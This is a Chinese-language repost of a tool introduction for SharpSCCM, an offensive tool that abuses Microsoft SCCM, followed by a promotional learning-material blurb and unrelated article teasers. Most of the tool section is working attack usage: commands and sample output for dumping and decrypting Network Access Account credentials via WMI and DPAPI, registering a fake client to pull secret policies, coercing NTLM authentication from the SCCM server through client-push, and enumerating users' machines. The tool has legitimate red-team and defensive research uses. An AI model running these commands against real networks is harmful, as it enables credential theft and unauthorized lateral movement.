SharpSCCM:一款利用SCCM实现横向渗透的强大工具

news2024/12/27 13:15:59

关于SharpSCCM

SharpSCCM是一款功能强大的横向渗透和凭证收集工具,该工具主要利用了微软终端配置管理器(SCCM)来实现其功能,并能够通过访问SCCM管理终端GUI来实现横向渗透和凭证收集。

功能介绍

1、后渗透功能,支持横向渗透;

2、支持从SCCM客户端请求NTLM认证;

3、支持收集网络访问账号(NAA)的凭证信息;

4、请求和反混淆NAA凭证;

5、支持滥用新发现的攻击原语来强制来自SCCM服务器的NTLM身份验证;

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/Mayyhem/SharpSCCM.git

项目构建

将项目源码克隆至本地之后,在Visual Studio中打开SharpSCCM.sln,然后选择目标,比如说Release > x64。

接下来,构建解决方案(Ctrl + Shift + B)即可。

此时,将在目标路径下生成一个SharpSCCM程序集,其中包含了所有的工具及依赖组件,路径为.\SharpSCCM\bin\x64\Release\SharpSCCM_merged.exe。

命令行使用

命令样例:

SharpSCCM.exe [command] [options]

自命令样例:

add     支持将对象添加到其他对象

  get     查询指定对象,并显示对象内容

  exec    从指定UNC路径执行一个应用程序,或从客户端设备请求NTLM身份认证

  invoke  在服务器上执行或调用操作

  local    与本地工作站/服务器交互

  new     在服务器上创建新的对象

  remove  从服务器删除对象

工具使用

从本地SCCM客户端设备导出和解密NAA凭证

通过WMI导出NAA并使用DPAPI主密钥进行解密:

SharpSCCM.exe local naa wmi

样例输出:

.\SharpSCCM.exe local naa wmi

 

  _______ _     _ _______  ______  _____  _______ _______ _______ _______

  |______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |

  ______| |     | |     | |    \_ |       ______| |______ |______ |  |  |

 

[*] Retrieving Network Access Account blobs via WMI

 

[+]     Connecting to \\localhost\root\ccm\policy\Machine\ActualConfig

[+]     Executing WQL query: SELECT * FROM CCM_NetworkAccessAccount

 

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval

[*] RevertToSelf()

 

[*] Secret  : DPAPI_SYSTEM

[*]    full: <REDACTED>

[*]    m/u : <REDACTED>

 

[*] SYSTEM master key cache:

 

{340f2212-5765-4e57-8931-070fadb401c2}:<REDACTED>

{3c58124e-ef4e-4841-900c-3183550720b3}:<REDACTED>

{226f00ce-7ab9-4fff-a7e0-665e7afb2785}:<REDACTED>

{6641ae28-12b2-4e79-abe4-2199ac0245b1}:<REDACTED>

 

 

[*] Triaging Network Access Account Credentials

 

     Plaintext NAA Username         : APERTURE\networkaccess

     Plaintext NAA Password         : <REDACTED>

请求设备策略并获取NAA凭证

SharpSCCM.exe get naa -u <computer$> -p <password>

样例输出:

.\SharpSCCM.exe get naa -u chell$ -p <password>

 

  _______ _     _ _______  ______  _____  _______ _______ _______ _______

  |______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |

  ______| |     | |     | |    \_ |       ______| |______ |______ |  |  |

 

[+] Connecting to \\localhost\root\ccm

[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority

[+] Current management point: atlas.aperture.sci

[+] Site code: PS1

[+] Created "ConfigMgr Client Messaging" certificate in memory for device registration and signing/encrypting subsequent messages

[+] Wrote "ConfigMgr Client Messaging" certificate to My store for CurrentUser

[+] Discovering local properties for client registration request

[+] Modifying client registration request properties:

      FQDN: CAVE-JOHNSON-PC.APERTURE

      NetBIOS name: CAVE-JOHNSON-PC

      Authenticating as: chell$

      Site code: PS1

[+] Sending HTTP registration request to atlas.aperture.sci:80

[+] Received unique GUID for new device: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5

[+] Obtaining Full Machine policy assignment from atlas.aperture.sci PS1

[+] Found 43 policy assignments

[+] Found policy containing secrets:

      ID: {096db290-7e52-41cb-839c-b8af87b82abf}

      Flags: RequiresAuth, Secret, IntranetOnly, PersistWholePolicy

      URL: http://<mp>/SMS_MP/.sms_pol?{096db290-7e52-41cb-839c-b8af87b82abf}.4_00

[+] Adding authentication headers to download request:

      ClientToken: GUID:A7FC423E-FF62-48B1-8A42-9447178D16C5;2022-10-17T23:24:00Z;2

      ClientTokenSignature: 9BAF8C2981B17DE0E056C42E8E4605B72A0559CE30C245E06CADC65A25A37D342595B6DCC542ABB9C20A01E9D1E71B1E8B52E8CF6B9C6214C76CA1C636B301031E15E8A53D1A2E52E18416F6A77F1BD8D793184995D93423E1F346E6B131CE07908DC26FB20CCF09F1B1FC2318104C7145B69D6870819CB9B35C8F87C3CB311211F84BA812EC15AAD7C3E512BF73D67A5AA7EA180E07E35E712CC69DF034183BA89C5937AC3EF954E5B3D8401172B6C0850695436180FD3A4185F4702F2647AE1E747BD5D64707123F003958CF110E7191CE5D299F97CCE4D01965F92496C748DD0F0A20CDB3F469C8BB5A33340142CD91B8F1C7D3082EC6B86080072783390A

[+] Received encoded response from server for policy {096db290-7e52-41cb-839c-b8af87b82abf}

[+] Successfully decoded and decrypted secret policy

[+] Deleted "CN=ConfigMgr Client Messaging" certificate from My store for CurrentUser

[+] Encrypted NAA username: 89130000...<REDACTED>...6C006F00

[+] Encrypted NAA password: 89130000...<REDACTED>...8D3C0000

[+] Done! Encrypted NAA hex strings can be decrypted offline using the "DeobfuscateNAAString.exe <string>" command

 

..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...06C006F00

Plaintext: APERTURE\networkaccess

 

..\..\..\DeobfuscateNAAString\Release\DeobfuscateNAAString.exe 89130000...<REDACTED>...8D3C0000

Plaintext: <REDACTED>

横向渗透:调用client-push

强制SCCM服务器通过SMB向目标发送NTLM身份认证:

SharpSCCM.exe <server> <sitecode> invoke client-push -t <target>

强制SCCM服务器通过HTTP向目标发送NTLM身份认证:

SharpSCCM.exe <server> <sitecode> invoke client-push -t <target@port>

样例输出:

PS C:\Users\cave.johnson.APERTURE\SharpSCCM\bin\x64\Release> .\SharpSCCM.exe atlas ps1 invoke client-push -t 192.168.57.130

[+] Discovering local properties for client registration request

[+] Modifying client registration request properties

  ClientFqdn: 192.168.57.130

  NetBiosName: 192.168.57.130

  SiteCode: ps1

 

[+] Registration Request Body:

<...snip...>

[+] Sending HTTP registration request to atlas:80

[+] Received unique GUID for new device: GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE

[+] Discovering local properties for DDR inventory report

[+] Modifying DDR and inventory report properties

[+] Discovered PlatformID: Microsoft Windows NT Server 10.0

[+] Modified PlatformID: Microsoft Windows NT Workstation 2010.0

[+] DDR Body:

<...snip...>

[+] Inventory Report Body:

<...snip...>

[+] Sending DDR from GUID:19B65F3B-AAD8-41C1-B4BE-E6917FA0B8BE to MP_DdrEndpoint endpoint on atlas:ps1 and requesting client installation on 192.168.57.130

横向渗透:获取primary-user

使用主用户获取设备列表:

SharpSCCM.exe <server> <sitecode> get primary-user -u <username>

样例输出:

.\SharpSCCM.exe atlas ps1 get primary-user -u chell

[+] Connecting to \\atlas\root\SMS\site_ps1

[+] Executing WQL query: SELECT * FROM SMS_UserMachineRelationship WHERE UniqueUserName LIKE '%chell%'

-----------------------------------

SMS_UserMachineRelationship

-----------------------------------

CreationTime: 20220528005101.523000+000

IsActive: True

RelationshipResourceID: 25165825

ResourceClientType: 1

ResourceID: 16777227

ResourceName: GLADOS

Sources: 2

Types: 1

UniqueUserName: aperture\chell

-----------------------------------

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/341787.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT入门Input Widgets之QSlider

目录 一、界面布局功能 1、界面位置介绍 2、控件界面基本属性 2.1horizontalSlider界面属性 2.2设置步进 2.3打开或关闭滑块跟踪&#xff08;setTracking&#xff09; 二、属性功能介绍 1、常用信号 2、调用信号 3、鼠标点击QSlider滑块定在点击位置 三、Demo展示 …

2.8、调度算法的评价指标

1、CPU 利用率 由于早期的 CPU 造价极其昂贵&#xff0c; 因此人们会希望让CPU尽可能多地工作\color{red}希望让 \texttt{CPU} 尽可能多地工作希望让CPU尽可能多地工作 CPU利用率\color{red}\texttt{CPU}利用率CPU利用率&#xff1a;指 CPU “忙碌” 的时间占总时间的比例。 利…

动态规划之01背包问题和完全背包问题

01背包的问题描述&#xff1a;&#xff08;内容参考代码随想录&#xff09;有n件物品和一个最多能背重量为w 的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品只能用一次&#xff0c;求解将哪些物品装入背包里物品价值总和最大。问题示例&#…

Echarts 设置折线图拐点的颜色,边框等样式,hover时改变颜色

第014个点击查看专栏目录上一篇文章我们讲到了如何设置拐点大小,图形类型&#xff0c;旋转角度&#xff0c;缩放同比&#xff0c;位置偏移等&#xff0c;这篇文章介绍如何设置拐点的颜色、边框大小颜色等样式。hover轴线时候&#xff0c;拐点的填充颜色改变文章目录示例效果示例…

Zookeeper安装部署

文章目录Zookeeper安装部署Zookeeper安装部署 将Zookeeper安装包解压缩&#xff0c; [rootlocalhost opt]# ll 总用量 14032 -rw-r--r--. 1 root root 12392394 10月 13 11:44 apache-zookeeper-3.6.0-bin.tar.gz drwxrwxr-x. 6 root root 4096 10月 18 01:44 redis-5.0.4 …

什么时候用MQ、MQ 的作用、延迟消息

本文主要参考沈剑大佬的消息队列系列的四篇博文和博文评论&#xff0c;以及刘海丰老师的《架构设计面试精讲》&#xff0c;文末是完整参考。 1、什么时候用MQ、MQ 的作用 MQ是一个互联网架构中常见的解耦利器。 1.1 MQ 的组成 Producer&#xff1a;消息的生产者&#xff1b; Br…

浅谈函数式编程和命令式编程的区别

一、函数式编程 ------------------------------------------------------------------------------------------------------------------------------------------ 函数式编程用一个英文单词来说的话就是“What?” 它关注结果 定义 把某个功能的具体实现&#xff0c;封装…

一文带你搞懂,Python语言运算符

Python语言支持很多种运算符&#xff0c;我们先用一个表格为大家列出这些运算符&#xff0c;然后选择一些马上就会用到的运算符为大家进行讲解。 说明&#xff1a;上面这个表格实际上是按照运算符的优先级从上到下列出了各种运算符。所谓优先级就是在一个运算的表达式中&#x…

【C语言必经之路——第12节】结构体初阶

一、结构体的声明结构是一些值的集合&#xff0c;这些值称为成员变量。结构的每个成员可以是不同类型的变量。结构体的声明struct tag{member-list;}variable-list;struct&#xff1a;是结构体定义必不可少的关键字tag&#xff1a;结构名member-list&#xff1a;成员列表(标量、…

2.16、生产者-消费者问题

系统中有一组生产者进程和一组消费者进程&#xff0c;生产者进程每次生产一个产品放入缓冲区&#xff0c;消费者进程每次从缓冲区中取出一个产品并使用。&#xff08;注:这里的“产品”理解为某种数据&#xff09; 生产者、消费者共享一个初始为空、大小为 n 的缓冲区。 只有…

Linux删除软链接

不防大家试试 unlink 命令 首先我们先来创建一个文件 #mkdir test_chk #touch test_chk/test.txt #vim test_chk/test.txt (这一步随便在这个test.txt里写点东东即可) 下面我们来创建test_chk目录 的软链接 #ln-s test_chk test_chk_ln 软链接创建好了&#xff0c;我们来…

应用安全系列之三十八:注入问题的成因以及预防原理

自从有了OWASP TOP的排名依赖&#xff0c;注入问题就一直排名前三&#xff0c;这就说明了注入问题对系统的影响是十分严重的&#xff0c;而且&#xff0c;注入问题一般比较容易被利用。注入问题产生的根本原因就是程序在接受到请求中的参数时&#xff0c;没有经过严格的验证和正…

前端工程师leetcode算法面试必备-二分搜索算法(下)索算法(下)

一、287. 寻找重复数 给定一个包含 n 1 个整数的数组 nums&#xff0c;其数字都在 1 到 n 之间&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一个重复的整数。假设只有一个重复的整数&#xff0c;找出这个重复的数。 1、HashMap 在没有其它附加条件的情况下&…

如何处理“WLAN没有有效的IP配置”这一问题?

&#x1f680;write in front&#x1f680; &#x1f4dc;所属专栏&#xff1a;暂无 &#x1f6f0;️博客主页&#xff1a;睿睿的博客主页 &#x1f6f0;️代码仓库&#xff1a;&#x1f389;VS2022_C语言仓库 &#x1f3a1;您的点赞、关注、收藏、评论&#xff0c;是对我最大的…

svg.js使用教程

在日常web开发过程中&#xff0c;我们会需要显示一些图形化的元素&#xff0c;使用divcss、ps图片是常见的实现方式。 但使用svg来绘制可能更加合适&#xff0c;SVG是可缩放矢量图形&#xff0c;有一些预定义的形状元素&#xff0c;可被开发者使用和操作&#xff1a; 矩形(rec…

图解LeetCode——剑指 Offer 50. 第一个只出现一次的字符

一、题目 在字符串 s 中找出第一个只出现一次的字符。如果没有&#xff0c;返回一个单空格。 s 只包含小写字母。 二、示例 2.1> 示例 1: 【输入】s "abaccdeff" 【输出】b 2.2> 示例 2: 【输入】s "" 【输出】 限制&#xff1a; 0 < s 的…

Swift(5)

目录 集合类型 数组 ​编辑 合集 合集操作 字典 Where 集合类型 Swift提供了三种主要的集合类型&#xff1a;组合&#xff0c;合集&#xff0c;字典。 数组是有序的值的集合。 合集是唯一值的无序集合。 字典是无序的键值对集合。 数组 Swift数组的类型的完整写法是…

总结如何设计一款营销低代码可视化海报平台

背景 我所在的部门负责的是活动业务&#xff0c;每天都有很多的营销活动&#xff0c;随之而来的就是大量的H5活动页面。而这些H5活动已经沉淀出了比较固定的玩法交互&#xff0c;我们开发大多数的工作也只是在复制粘贴这种大量的重复工作。 在基于此背景下我开始了低代码平台…

【手写 Vuex 源码】第十篇 - Vuex 命名空间的实现

一&#xff0c;前言 上一篇&#xff0c;主要介绍了 Vuex 响应式数据和缓存的实现&#xff0c;主要涉及以下几个点&#xff1a; Vuex 的响应式实现原理&#xff1b;响应式核心方法 resetStoreVM&#xff1b;commit 和 dispatch 的处理&#xff1b; 本篇&#xff0c;继续介绍 …

jdk-concurrentHashMap(1.8)源码学习

上文&#xff1a;jdk-HashMap(1.8)源码学习concurrentHashMap介绍concurrentHashMap是一个高性能、线程安全的HashMap&#xff0c;底层数据结构主要还是以数组链表红黑树实现与HashMap的结构是一致的。concurrentHashMap1.7和1.8的区别&#xff1f;对比名称1.71.8备注线程安全是…